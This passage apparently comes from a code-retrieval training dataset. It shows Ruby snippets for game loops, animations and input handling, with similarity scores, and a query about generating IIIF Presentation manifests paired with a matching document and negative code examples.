|x|\n\t\t\t\t\t\t\t\tif ev.key == x.key\n\t\t\t\t\t\t\t\t\tx.call\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tevents[:while_key_down].each do |x|\n\t\t\t\t\t\t\t\tif ev.key == x.key\n\t\t\t\t\t\t\t\t\tx.active = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tevents[:while_key_up].each do |x|\n\t\t\t\t\t\t\t\tif ev.key == x.key\n\t\t\t\t\t\t\t\t\tx.active = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\twhen Rubygame::MouseDownEvent\n\t\t\t\t\t\t[@current_state.events, @global_events].each do |events|\n\t\t\t\t\t\t\tevents[:mouse_press].each do |x|\n\t\t\t\t\t\t\t\tif ev.button == x.button\n\t\t\t\t\t\t\t\t\tx.call ev.pos\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\twhen Rubygame::MouseUpEvent\n\t\t\t\t\t\t[@current_state.events, @global_events].each do |events|\n\t\t\t\t\t\t\tevents[:mouse_release].each do |x|\n\t\t\t\t\t\t\t\tif ev.button == x.button\n\t\t\t\t\t\t\t\t\tx.call ev.pos\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\twhen Rubygame::MouseMotionEvent\n\t\t\t\t\t\t[@current_state.events, @global_events].each do |events|\n\t\t\t\t\t\t\tevents[:mouse_motion].each do |x|\n\t\t\t\t\t\t\t\tx.call ev.pos, ev.rel, ev.buttons\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\tend\n\t\t\t\n\t\t\t@current_state.events[:while_key_down].each do |x|\n\t\t\t\tif x.active\n\t\t\t\t\tx.call\n\t\t\t\tend\n\t\t\tend\n\t\t\t@global_events[:while_key_down].each do |x|\n\t\t\t\tif x.active\n\t\t\t\t\tx.call\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t@current_state.events[:while_key_up].each do |x|\n\t\t\t\tif x.active\n\t\t\t\t\tx.call\n\t\t\t\tend\n\t\t\tend\n\t\t\t@global_events[:while_key_up].each do |x|\n\t\t\t\tif x.active\n\t\t\t\t\tx.call\n\t\t\t\tend\n\t\t\tend\n\t\t\n\t\t\t@current_state.objs.each do |obj|\n\t\t\t\tobj.update\n\t\t\tend\n\t\t\t\n\t\t\t@current_state.update\n\t\t\t\n\t\t\t@current_state.objs += @objs2\n\t\t\t@current_state.objs.sort! { |a,b| (a.depth or 0) <=> (b.depth or 0) } unless @objs2.empty? # Sort by depth\n\t\t\t@objs2 = []\n\t\t\t\n\t\t\tif @state_buffer != nil\n\t\t\t\t@state_buffer.call\n\t\t\t\t@state_buffer = nil\n\t\t\tend\n\t\tend", "def anim1\n # load ball sprite\n ball = Sprite.new(@viewport)\n ball.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball.center!(true)\n ball.zoom_x = 0\n ball.zoom_y = 0\n # spin ball into place\n 16.delta_add.times do\n ball.angle += 22.5/self.delta\n ball.zoom_x += 0.0625/self.delta\n ball.zoom_y += 0.0625/self.delta\n pbWait(1)\n end\n ball.angle = 0\n ball.zoom = 1\n # take screenshot\n bmp = Graphics.snap_to_bitmap\n pbWait(8.delta_add)\n # dispose ball sprite\n ball.dispose\n # black background\n black = Sprite.new(@viewport)\n black.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n black.bitmap.fill_rect(0, 0, @viewport.width, @viewport.height, Color.black)\n # split screenshot into two halves\n field1 = Sprite.new(@viewport)\n field1.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n field1.bitmap.blt(0, 0, bmp, @viewport.rect)\n field1.src_rect.height = @viewport.height/2\n field2 = Sprite.new(@viewport)\n field2.bitmap = field1.bitmap.clone\n field2.y = @viewport.height/2\n field2.src_rect.height = @viewport.height/2\n field2.src_rect.y = @viewport.height/2\n # move halves off screen\n 16.delta_add.times do\n field1.x -= (@viewport.width/16)/self.delta\n field2.x += (@viewport.width/16)/self.delta\n pbWait(1)\n end\n field1.x = -@viewport.width\n field2.x = @viewport.width\n @viewport.color = Color.black\n # dispose unused sprites\n black.dispose\n field1.dispose\n field2.dispose\n end", "def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend", "def update_manage\n return update_normal unless @fps_balancing\n # Auto skip\n if @frame_to_skip > 0\n @frame_to_skip -= 1\n Graphics.frame_count += 1\n Graphics.update_only_input\n update_time\n return\n end\n # Adding the time Ruby worked (because the GPU will equilibrate its work time)\n @delta_time += (dt = Time.new - @ruby_time)\n update_ruby_time(dt) # Update the Ruby time counters to show the right FPS\n # Estimating frame duration\n t = Time.new\n @update.call\n dt = Time.new - t # Time of the elapsed frame ~0.016\n update_gc_time(dt) # Update the GPU time counters to show the right FPS\n dt -= DT # Substract the time of a constant frame if the result is > 0 we'll need to skip frames\n @delta_time += dt # Adding the difference\n # Try to balance the drawing\n if @delta_time >= DT\n @frame_to_skip = (@delta_time / DT).to_i\n @delta_time -= @frame_to_skip * DT\n elsif @delta_time <= DTM\n #Saving framecount\n while @delta_time <= DTM\n t = Time.new\n update_no_input\n @delta_time += (dt = Time.new - t)\n update_gc_time(dt)\n end\n end\n update_time\n @ruby_time = Time.new\n end", "def jet_accelerate\n @speed = get_speed * 2\n end", "def move(direction) \n # Exit map check\n if direction == 'up' && @pos_y == 2 && @pos_x == 1\n ProfBirchHome.new(@player, 'top').begin\n # If interacting with Prof Birch Child in first time instance, do a speech & animation\n elsif @player.profbirchhomeupstairs == 'first' \n if (direction == 'up' && @pos_y == 8 && @pos_x == 3) || (direction == 'right' && @pos_y ==7 && @pos_x == 2) || (direction == 'left' && @pos_x == 2 && @pos_y == 9)\n slowly(\"POKEMON fully restored!\\nItems ready, and... Huh?\")\n reset_map\n slowly(\"Huh? Who... Who are you?\")\n reset_map\n slowly(\"... ... ... ... ... ... ... ...\\n... ... ... ... ... ... ... ...\")\n reset_map\n slowly(\"Oh, you're #{ @player.name }.\\nSo your move was today.\")\n reset_map\n slowly(\"Um... I'm #{ @player.other_name }.\\nGlad to meet you!\")\n reset_map\n slowly(\"I...\\nI have this dream of becoming friends\")\n slowly(\"with POKEMON all over the world.\")\n reset_map\n slowly(\"I... I heard about you, #{ @player.name }, from\\nmy dad, PROF. BIRCH.\")\n reset_map\n slowly(\"I was hoping that you would be nice,\\n#{ @player.name }, and that we could be friends.\")\n reset_map\n slowly(\"On, this is silly, isn't it?\\nI... I've just met you, #{ @player.name }.\")\n reset_map\n slowly(\"Eheheh...\")\n reset_map\n slowly(\"Oh, no! I forgot!\")\n reset_map\n slowly(\"I was supposed to go help Dad catch\\nsome wild POKEMON!\")\n reset_map\n slowly(\"#{ @player.name }, I'll catch you later!\")\n @map[2][8] = 'S'\n if @pos_y != 7\n print_map\n @map[2][7] = 'other_icon'\n reset_map 0.5\n @map[2][7] = 'S'\n @map[2][6] = 'other_icon'\n reset_map 0.5\n else\n @map[3][8] = 'other_icon'\n reset_map 0.5\n @map[3][8] = 'S'\n @map[3][7] = 'other_icon'\n reset_map 0.5\n @map[3][7] = 'S'\n @map[3][6] = 'other_icon'\n reset_map 0.5\n @map[3][6] = 'S'\n @map[2][6] = 'other_icon'\n reset_map 0.5\n end\n @map[2][6] = 'S'\n @map[2][5] = 'other_icon'\n reset_map 0.5\n @map[2][5] = 'S'\n @map[2][4] = 'other_icon'\n reset_map 0.5\n @map[2][4] = 'S'\n @map[2][3] = 'other_icon'\n reset_map 0.5\n @map[2][3] = 'S'\n @map[2][2] = 'other_icon'\n reset_map 0.5\n @map[2][2] = 'S'\n @map[1][2] = 'other_icon'\n reset_map 0.5\n @map[1][2] = 'S'\n reset_map 0.5\n @player.profbirchhomeupstairs = 'second'\n @player.littleroot = 'third'\n end\n end\n super\n end", "def max_speed; end", "def update_bomb bomb, player\r\n if bomb.isActivated == 1\r\n bomb.explotion_time -= 16.63\r\n cur_time = Gosu.milliseconds.to_i\r\n i = (cur_time - bomb.activation_time ) / bomb.time_interval\r\n if(i < bomb.bomb_images.length)\r\n bomb.cur_image = bomb.bomb_images[i]\r\n end\r\n end\r\nend", "def brake\n if @speed > 0\n @speed -= 1\n end\n end", "def stop\n accelerate -speed\n end", "def update\n\t\t#ship movement\n\t\tif button_down?(Gosu::KbLeft)\n\t\t\t@ship.move_left\n\t\telsif button_down?(Gosu::KbRight)\n\t\t\t@ship.move_right\n\t\tend\n\t\t#missle tracking\n\t\tif @missles.length > 0\n\t\t\t@missles.each do |missle|\n\t\t\t\tif !missle.tracking\n\t\t\t\t\tasteroid = nil\n\t\t\t\t\t@asteroids.each do |a|\n\t\t\t\t\t\tif a.tracked == false\n\t\t\t\t\t\t\tif asteroid == nil\n\t\t\t\t\t\t\t\tasteroid = a\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tif asteroid.y - missle.y < a.y - missle.y\n\t\t\t\t\t\t\t\t\tasteroid = a\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif asteroid != nil\n\t\t\t\t\t\tasteroid.track(true)\n\t\t\t\t\t\tmissle.track(asteroid)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#asteroid creation\n\t\t\n\t\tif @asteroid_delay < Time.now and !@game_done and !@pause and @level_time - 7 >= Time.now\n\t\t\t@asteroids.push Asteroid.new(self, @level)\n\t\t\t#delay till next asteroid\n\t\t\t@asteroid_delay = Time.now + rand*2 + 0.1\n\t\tend\n\t\t#powerup creation\n\t\tif @level != 1\n\t\t\tif @powerup_delay < Time.now and !@game_done and !@pause\n\t\t\t\t@powerups.push PowerUp.new(self, @level)\n\t\t\t\t#delay till next powerup\n\t\t\t\t@powerup_delay = Time.now + 5\n\t\t\tend\n\t\tend\n\t\t#collision detection for asteroids\n\t\t@asteroids.each do |a|\n\t\t\t#collision detection for lasers\n\t\t\t@lasers.each do |laser|\n\t\t\t\tif are_touching?(laser, a)\n\t\t\t\t\ta.hit\n\t\t\t\t\t@asteroids.delete(a)\n\t\t\t\t\t@explosions.push Explosion.new(self, laser.x, laser.y)\n\t\t\t\t\t@lasers.delete(laser)\n\t\t\t\t\t@asteroids_hit += 1\n\t\t\t\tend\n\t\t\tend\n\t\t\t#collision detection for missles\n\t\t\t@missles.each do |missle|\n\t\t\t\tif are_touching?(missle, a)\n\t\t\t\t\ta.hit\n\t\t\t\t\t@asteroids.delete(a)\n\t\t\t\t\t@explosions.push Explosion.new(self, a.x, a.y)\n\t\t\t\t\tmissle.destroyed\n\t\t\t\t\t@missles.delete(missle)\n\t\t\t\t\t@asteroids_hit_missles += 1\n\t\t\t\tend\n\t\t\tend\n\t\t\t#collision detection for the ship\n\t\t\tif are_touching?(a, @ship)\n\t\t\t\t@explosions.push Explosion.new(self, a.x+5, a.y)\n\t\t\t\ta.hit\n\t\t\t\t@asteroids.delete(a)\n\t\t\t\tcheck = @ship.destroy\n\t\t\t\t#game over, all lives lost, and ship destroyed\n\t\t\t\tif check == -1\n\t\t\t\t\t@explosions.push Explosion.new(self, @ship.x+5, @ship.y)\n\t\t\t\t\t@game_done = true\n\t\t\t\t#loss of life\n\t\t\t\telsif check == 1\n\t\t\t\t\t@explosions.push Explosion.new(self, @ship.x+5, @ship.y)\n\t\t\t\t\t#creates a delay so you can see that you lost a life\n\t\t\t\t\t@sleep_clear = 1\n\t\t\t\tend\n\t\t\t\t#if check == 0 then ship simply lost shield powerup\n\t\t\tend\n\t\t\t#collision detection for buildings\n\t\t\t@buildings.each do |b|\n\t\t\t\tif are_touching?(a, b)\n\t\t\t\t\t@buildings.delete(b)\n\t\t\t\t\t#@asteroids.delete(a)\n\t\t\t\t\t@explosions.push Explosion.new(self, a.x+5, a.y)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#collision detection for powerups\n\t\t@powerups.each do |p|\n\t\t\tif are_touching?(p, @ship)\n\t\t\t\t@powerups.delete(p)\n\t\t\t\t@ship.powerup(p.laser, p.is_shield)\n\t\t\tend\n\t\tend\n\t\t#game timer\n\t\tif @level_time < Time.now and !@pause and !@game_done\n\t\t\tif @level == $MaxLevel\n\t\t\t\t@game_done = true\n\t\t\t\t@win = true\n\t\t\telse\n\t\t\t\t@level += 1\n\t\t\t\t#restarts the timer for the next level\n\t\t\t\t@level_time = Time.now + $TimeLimit\n\t\t\t\tnext_level\n\t\t\t\t@display_new_level_timer = Time.now + 1\n\t\t\tend\n\t\t\t\t\n\t\tend\n\t\t#end game if you've missed too many asteroids\n\t\tif @asteroids_missed == $AsteroidDeath\n\t\t\t@game_done = true\n\t\tend\n\t\tif @buildings.empty?\n\t\t\t@game_done = true\n\t\tend\n\t\tif !@pause\n\t\t\t@total_time_played = Time.now - @start_time\n\t\tend\n\tend", "def initialize(save_file=nil)\n super()\n\n @tiles = Gosu::Image.load_tiles(\n RES_DIR.join(\"tiled-icons-16x16.png\").to_s, \n 16, 16,\n retro: true)\n\n @letters = Gosu::Image.load_tiles(\n RES_DIR.join(\"tiled-font-8x16.png\").to_s,\n 8, 16,\n retro: true)\n\n @tile_scale = Size[2,2]\n @grid_size = Size[32,32]\n @map_size = Size[25,19]\n @window = Window.new(size: Size[800,608])\n @window.on_input= self.method(:on_input)\n @window.on_update= self.method(:on_update)\n @window.on_draw= self.method(:on_draw)\n\n @prng = Random.new\n\n sword = {\n tile_index: 5,\n card_type: :weapon,\n description: \"sword\",\n cooldown: 3,\n cooldown_timer: -1\n }\n\n magic_missile = {\n tile_index: 6,\n card_type: :spell,\n description: \"magic missile\",\n contamination: 3,\n }\n\n meat = {\n tile_index: 4,\n card_type: :item,\n description: \"hunk of meat\",\n }\n\n @player = { \n name: \"Player\",\n tile_index: 0,\n action: nil,\n position: Point[1,1],\n movement: nil,\n card_state: {\n contaminated: true,\n weapon: sword,\n spell: magic_missile,\n item: meat,\n deck: [],\n }\n }\n\n goblin = {\n name: \"Goblin\",\n tile_index: 1,\n action: nil,\n position: Point[3,3],\n movement: nil,\n ai_method: :goblin_ai,\n }\n\n walls = Bitmap.new(MAP_SIZE).from_s(WALLS).active_coords.map do |pt|\n {\n tile_index: 2,\n position: pt,\n obstructing: true\n }\n end\n\n @movement = [@player, goblin]\n @with_cards = [@player]\n @ai_method = [goblin]\n @action = [@player, goblin]\n @visible = [@player, goblin, *walls]\n\n @map = {\n size: Size[20,20],\n index: {\n @player[:position] => [@player],\n goblin[:position] => [ goblin],\n },\n }\n\n @map[:index].default_proc = Proc.new do |hash, key|\n hash[key]= []\n end\n\n walls.each do |entity|\n pos = entity[:position]\n @map[:index][pos] << entity\n end\n end", "def player_position_look_update; end", "def start\n\t\twhile true\n\t\t\tclean\n\t\t\tscore_table\n\t\t\tarray_start(1)\n\t\t\tif player_win(1) == false || test_fin == false \n\t\t\t\tbreak\n\t\t\tend\n\t\t\tclean\n\t\t\tscore_table\n\t\t\tarray_start(2)\n\t\t\tif player_win(2) == false || test_fin == false\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend", "def update\n \t## only allow the user to pick tiles if the frameCounter is at 0\n \t# this means that the user can only pick tiles when two tiles are not being displayed\n \t# after the 96 frames of display are over, we then call the check_match function and set the frameCounter back to 0 \n \n if @frameCounter == 0 then \n \t\tpick_tiles\t\n \telsif @frameCounter == 96 then\n \t\tcheck_match\n check_win\n \t \t@frameCounter = 0\n \tend\n \t\n \t## if the user has picked their second tile then we increment the frame counter to display both of them for a few seconds\n \tif @phase == 1 and @pickedSecond then\n \t @frameCounter += 1\n \tend\n \n ## update the Timer object\n @timer.update\n end", "def update\n syn_ht_update\n wait(1, true) if @wait_time != SynHT::Frames_hunger_down\n wait(1, false) if @wait_time_thirst != SynHT::Frames_thirst_down\n if @wait_time == SynHT::Frames_hunger_down or @wait_time2 == SynHT::Frames_thirst_down\n for i in 0...$game_party.actors.size\n $game_party.actors[i].hunger += 1 if @wait_time == SynHT::Frames_hunger_down\n $game_party.actors[i].thirst += 1 if @wait_time2 == SynHT::Frames_thirst_down\n call_ht_event(0, 0) if $game_party.actors[i].hunger == 200\n call_ht_event(1, 0) if $game_party.actors[i].hunger == 175\n call_ht_event(2, 0) if $game_party.actors[i].hunger == 150\n call_ht_event(3, 0) if $game_party.actors[i].hunger == 125\n call_ht_event(4, 0) if $game_party.actors[i].hunger == 100\n call_ht_event(5, 0) if $game_party.actors[i].hunger == 75\n call_ht_event(6, 0) if $game_party.actors[i].hunger == 50\n call_ht_event(7, 0) if $game_party.actors[i].hunger == 25\n call_ht_event(8, 0) if $game_party.actors[i].hunger == 0\n call_ht_event(0, 1) if $game_party.actors[i].thirst == 200\n call_ht_event(1, 1) if $game_party.actors[i].thirst == 175\n call_ht_event(2, 1) if $game_party.actors[i].thirst == 150\n call_ht_event(3, 1) if $game_party.actors[i].thirst == 125\n call_ht_event(4, 1) if $game_party.actors[i].thirst == 100\n call_ht_event(5, 1) if $game_party.actors[i].thirst == 75\n call_ht_event(6, 1) if $game_party.actors[i].thirst == 50\n call_ht_event(7, 1) if $game_party.actors[i].thirst == 25\n call_ht_event(8, 1) if $game_party.actors[i].thirst == 0\n end\n end\n @wait_time = 0 if @wait_time == SynHT::Frames_hunger_down\n @wait_time2 = 0 if @wait_time2 == SynHT::Frames_thirst_down\n end" ]
[ "0.69348323", "0.6866969", "0.6811415", "0.6798399", "0.66997725", "0.6592775", "0.6558307", "0.6535065", "0.65336496", "0.65191466", "0.64944625", "0.64943075", "0.64943075", "0.64674276", "0.6438396", "0.6432269", "0.63875616", "0.63875616", "0.63875616", "0.63875616", "0.63875616", "0.63874435", "0.63874435", "0.6310498", "0.62865347", "0.6286364", "0.6272759", "0.6212193", "0.620441", "0.62022805", "0.6173546", "0.61686534", "0.6124814", "0.6123546", "0.61207604", "0.61184436", "0.6116571", "0.61093926", "0.61034137", "0.61022496", "0.6092916", "0.609157", "0.60864156", "0.6075833", "0.6075156", "0.6071173", "0.6054405", "0.6046955", "0.6043975", "0.603521", "0.6034088", "0.6022449", "0.60218704", "0.601654", "0.60158104", "0.6010264", "0.60096306", "0.60073334", "0.59979033", "0.5995499", "0.59895986", "0.5988551", "0.59809923", "0.59788436", "0.597548", "0.59743303", "0.5969608", "0.59555286", "0.59474665", "0.5944079", "0.5938757", "0.59377414", "0.5932793", "0.59310186", "0.5929052", "0.5928855", "0.59170675", "0.59088033", "0.59028447", "0.59005016", "0.5900168", "0.5899256", "0.589718", "0.5896183", "0.5895896", "0.58934575", "0.5892142", "0.5882392", "0.5879833", "0.5877796", "0.58768094", "0.58700377", "0.58633274", "0.5861032", "0.58515114", "0.58463365", "0.5844798", "0.58408546", "0.5840046", "0.5838444", "0.5837002" ]
0.0
-1
Generate IIIF Presentation 2.0 manifest
def manifest seed = { 'label' => title } manifest = IIIF::Presentation::Manifest.new(seed) manifest['@id'] = uri(image_server, "#{id}/manifest") manifest.attribution = 'University of Pennsylvania Libraries' manifest.viewing_hint = viewing_hint manifest.viewing_direction = viewing_direction sequence = IIIF::Presentation::Sequence.new( '@id' => uri(image_server, "#{id}/sequence/normal"), 'label' => 'Current order' ) assets.map.with_index do |asset, i| index = i + 1 # Retrieve image information from image server url = uri(image_server, "#{asset[:file]}/info.json") info = JSON.parse(Faraday.get(URI.parse(url)).body) # Adding canvas that contains image as an image annotation. sequence.canvases << canvas( index: index, label: asset[:label], height: info['height'], width: info['width'], profile: info['profile'][0], filepath: asset[:file], additional_downloads: asset[:additional_downloads] ) # Adding table of contents, if label and table of contents entries are provided. if asset[:label] && asset[:table_of_contents]&.any? manifest.structures << range( index: index, label: asset[:label], table_of_contents: asset[:table_of_contents] ) end end manifest.sequences << sequence manifest.to_json end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def manifest\n anno = IIIF::Presentation::Annotation.new('on' => path)\n anno.resource = create_resource\n canvas.images << anno\n canvas.other_content = [annotations]\n manifest = IIIF::Presentation::Manifest.new(\n '@id' => path,\n 'label' => \"Histonets - Collection Template #{id}\"\n )\n sequence.canvases << canvas\n manifest.sequences << sequence\n manifest\n end", "def output_manifest(title)\n puts '<?xml version=\"1.0\" standalone=\"no\" ?>'.red\n puts '<manifest identifier=\"D321SCORM-MANIFEST\" version=\"1.0\"'.red\n puts 'xmlns=\"http://www.imsproject.org/xsd/imscp_rootv1p1p2\"'.red\n puts 'xmlns:adlcp=\"http://www.adlnet.org/xsd/adlcp_rootv1p2\"'.red \n puts 'xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"'.red \n puts 'xsi:schemaLocation=\"http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd\n http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd\n http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd\" >'.red \n puts '<metadata>'.red \n puts '<schema>ADL SCORM</schema>'.red \n puts '<schemaversion>1.2</schemaversion>'.red \n puts '<adlcp:location>imsmetadata.xml</adlcp:location>'.red \n puts '</metadata>'.red \n puts '<organizations default=\"TOC1\">'.red \n puts '<organization identifier=\"TOC1\">'.red \n puts \"<title>#{title}</title>\".red \n puts '<item identifier=\"I_SCO0\" identifierref=\"SCO0\">'.red \n puts \"<title>#{title}</title>\".red\n puts '</item>'.red\n puts '</organization>'.red \n puts '</organizations>'.red\n puts '<resources>'.red\n puts '<resource identifier=\"SCO0\" type=\"webcontent\" adlcp:scormtype=\"sco\" href=\"index.html\">'.red\n\n Dir.glob(\"**/*\").each do |fname|\n puts \"<file href=\\\"#{fname}\\\" />\".red if File.file?(fname)\n end\n puts '<dependency identifierref=\"ALLRESOURCES\" />'.red \n puts '</resource>'.red \n puts '<resource identifier=\"ALLRESOURCES\" type=\"webcontent\" adlcp:scormtype=\"asset\">'.red \n puts '</resource>'.red \n puts '</resources>'.red \n puts '</manifest>'.red\nend", "def generate\n generate_manifest\n fix_windows_manifest\n end", "def manifest(m)\r\n load_paths = load_paths('lazydoc', 'configurable', 'tap')\r\n bin_path = File.join(load_paths.last.chomp('lib'), 'bin/tapexe')\r\n \r\n m.template name, 'tap.erb', {\r\n :load_paths => load_paths,\r\n :bin_path => bin_path\r\n }\r\n \r\n m.on(:generate) do \r\n log :chmod, \"0755 #{name}\"\r\n FileUtils.chmod(0755, name)\r\n end\r\n \r\n m.template profile, 'profile.erb', {\r\n :generator => self.class,\r\n :filename => profile\r\n }\r\n end", "def write_manifest_file\n render_template(resource_path(\"AppxManifest.xml.erb\"),\n destination: \"#{windows_safe_path(project.install_dir)}/AppxManifest.xml\",\n variables: {\n name: project.package_name,\n friendly_name: project.friendly_name,\n version: windows_package_version,\n maintainer: project.maintainer,\n certificate_subject: certificate_subject.gsub('\"', \"&quot;\"),\n })\n end", "def iiif_manifest\n return unless manifestable? && file_set\n manifest_path\n end", "def generate_manifest\n available_versions.each do |version|\n puts \"Processing #{project_name} - #{channel_name} - #{version}\"\n\n artifacts_for(version).each do |artifact|\n p = artifact.platform\n pv = artifact.platform_version\n m = artifact.architecture\n\n manifest[p] ||= {}\n manifest[p][pv] ||= {}\n manifest[p][pv][m] ||= {}\n manifest[p][pv][m][artifact.version] = {\n sha1: artifact.sha1,\n sha256: artifact.sha256,\n url: artifact.url\n }\n end\n end\n\n manifest\n end", "def generate_pkg_contents\n shellout!(\"pkgsend generate #{source_dir} | pkgfmt > #{pkg_manifest_file}.1\")\n shellout!(\"pkgmogrify -DARCH=`uname -p` #{pkg_manifest_file}.1 #{pkg_metadata_file} #{transform_file} | pkgfmt > #{pkg_manifest_file}.2\")\n end", "def generate_manifest_files iss_file, update_url\n iss = InnoSetup::SourceFile.new(iss_file, Dir.getwd, 'CD_INSTALLER' => 1)\n iss.components.each do |name, component|\n next unless component.includes_manifest?\n manifest = component.manifest\n # TODO - We need to include *.iss file's directory when creating this file.\n File.open(component.manifest_name, 'w') {|f| f.write(manifest) }\n end\n File.open(\"release.spec\", 'w') do |f| \n f.write(iss.spec_file(\"Build\" => release_id || \"DIRTY\", \n \"Update-URL\" => update_url))\n end\n sign_file_with_gpg 'release.spec'\nend", "def build_manifest(opts={})\n main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)\n app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)\n existing_manifest = nil\n meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0\n\n @manifest = \"Manifest-Version: 1.0\\r\\n\"\n @manifest << \"Main-Class: #{main_class}\\r\\n\" if main_class\n @manifest << \"Application-Name: #{app_name}\\r\\n\" if app_name\n @manifest << \"Permissions: all-permissions\\r\\n\"\n @manifest << \"\\r\\n\"\n @entries.each { |e|\n next if e.name =~ %r|/$|\n if e.name == \"META-INF/MANIFEST.MF\"\n existing_manifest = e\n next\n end\n #next unless e.name =~ /\\.class$/\n @manifest << \"Name: #{e.name}\\r\\n\"\n #@manifest << \"SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\\r\\n\"\n @manifest << \"\\r\\n\"\n }\n if existing_manifest\n existing_manifest.data = @manifest\n else\n add_file(\"META-INF/\", '') unless meta_inf_exists\n add_file(\"META-INF/MANIFEST.MF\", @manifest)\n end\n end", "def generate_manifests_file\n generate_file_from_template(\"#{templates_path}/puppet/roles/manifests/init.pp.erb\", \"#{self.path}/manifests/init.pp\", {role: self})\n end", "def build_manifest_interface(tests, intf_count: 0)\n intf_array = tests[:intf_array]\n manifest = ''\n\n 0.upto(intf_count - 1) do |i|\n case tests[:resource_name]\n when :cisco_interface\n manifest += \"\n cisco_interface { '#{intf_array[i]}':\n ensure => 'present',\n }\n \"\n when :cisco_interface_channel_group\n manifest += \"\n cisco_interface_channel_group { '#{intf_array[i]}':\n shutdown => false,\n }\n \"\n when :cisco_interface_evpn_multisite\n manifest += \"\n cisco_interface_evpn_multisite { '#{intf_array[i]}':\n ensure => present,\n }\n \"\n when :cisco_interface_ospf\n manifest += \"\n cisco_interface_ospf { '#{intf_array[i]} threshold_test':\n area => '0.0.0.0',\n }\n \"\n end\n end\n manifest\nend", "def make_itmsp(package_path)\n package_path.mkpath\n FileUtils.cp(@ipa_path, package_path/@ipa_safe_filename)\n metadata_xml_path = package_path / 'metadata.xml'\n metadata_xml_path.write(self.xml_meta_data)\n end", "def manifest() @opts.manifest; end", "def generate_opf\n generate_xml do |xml|\n xml.package(package_namespaces, :version => @target.epub_version, 'unique-identifier' => OPF_UNIQUE_ID) do\n generate_metadata\n generate_manifest\n generate_spine\n generate_guide\n end\n end\n end", "def iiif_manifest_attributes\n super.merge iiif_manifest_exhibit\n end", "def iiif_manifest_attributes\n super.merge iiif_manifest_exhibit\n end", "def manifest\n template \"#{favorite_cleaned}.txt\", 'Song.txt'\n end", "def writePackageXmlFromHashie(typeToMembersHash = {})\n\n typeToMembersHashFormatted = {}\n\n # Assuming parameter is a Hashie object.\n #puts typeToMembersHash.keys\n\n # Convert the typeToMembersHash from a Hashie\n # to a format that is suitable to give to Manifest.\n typeToMembersHash.each_pair do |key, value|\n underscore_key = key.xml_name.underscore\n #puts \"key=#{underscore_key}, value=#{value}\"\n component_array = []\n if (value.respond_to?(\"map\"))\n component_array = value.map { |x| x.full_name if x.respond_to?(\"full_name\") } unless value.nil?\n end\n if (value.respond_to?(\"full_name\"))\n component_array = [] << value.full_name\n end\n #puts \"valArray=#{component_array}\"\n\n typeToMembersHashFormatted[underscore_key] = component_array\n\n end\n\n #puts typeToMembersHashFormatted\n manifest = Metaforce::Manifest.new(typeToMembersHashFormatted)\n #manifest.to_xml\n\n File.open(\"package.xml\", 'w') { |f| f.write(manifest.to_xml) }\n\nend", "def write_pkg_metadata\n render_template(resource_path(\"gen.manifestfile.erb\"),\n destination: pkg_metadata_file,\n variables: {\n name: safe_base_package_name,\n fmri_package_name: fmri_package_name,\n description: project.description,\n summary: project.friendly_name,\n arch: safe_architecture,\n })\n\n # Append the contents of symlinks_file if it exists\n if symlinks_file\n File.open(pkg_metadata_file, \"a\") do |symlink|\n symlink.write(render_symlinks)\n end\n end\n\n # Print the full contents of the rendered template file to generate package contents\n log.debug(log_key) { \"Rendered Template:\\n\" + File.read(pkg_metadata_file) }\n end", "def create_deployment_manifest\n cloud_properties = { \"instance_type\" => \"m1.small\", \"availability_zone\" => \"us-east-1e\" }\n cloud_properties[\"persistent_disk\"] = flags[:disk] if flags[:disk]\n cloud_properties[\"static_ips\"] = ip_addresses\n manifest = Bosh::Gen::Models::DeploymentManifest.new(name, director_uuid, release_properties, cloud_properties)\n manifest.jobs = job_manifests\n create_file manifest_file_name, manifest.to_yaml, :force => flags[:force]\n end", "def iiif\n return unless manifestable? && file_set\n \"#{iiif_path}/info.json\"\n end", "def manifest\n {}\n end", "def create_from(file_map)\n @izpackVersion ||= '4.3.5' \n @appName ||= project.id\n @izpackBaseDir = File.dirname(@output) if !@izpackBaseDir\n @installerType ||= 'standard'\n @inheritAll ||= 'true'\n @compression ||= 'deflate'\n @compressionLevel ||= '9'\n @locales ||= ['eng']\n @panels ||= ['TargetPanel', 'InstallPanel']\n @packs ||= \n raise \"You must include at least one file to create an izPack installer\" if file_map.size == 0 and !File.exists?(@input) \n izPackArtifact = Buildr.artifact( \"org.codehaus.izpack:izpack-standalone-compiler:jar:#{@izpackVersion}\")\n doc = nil\n if 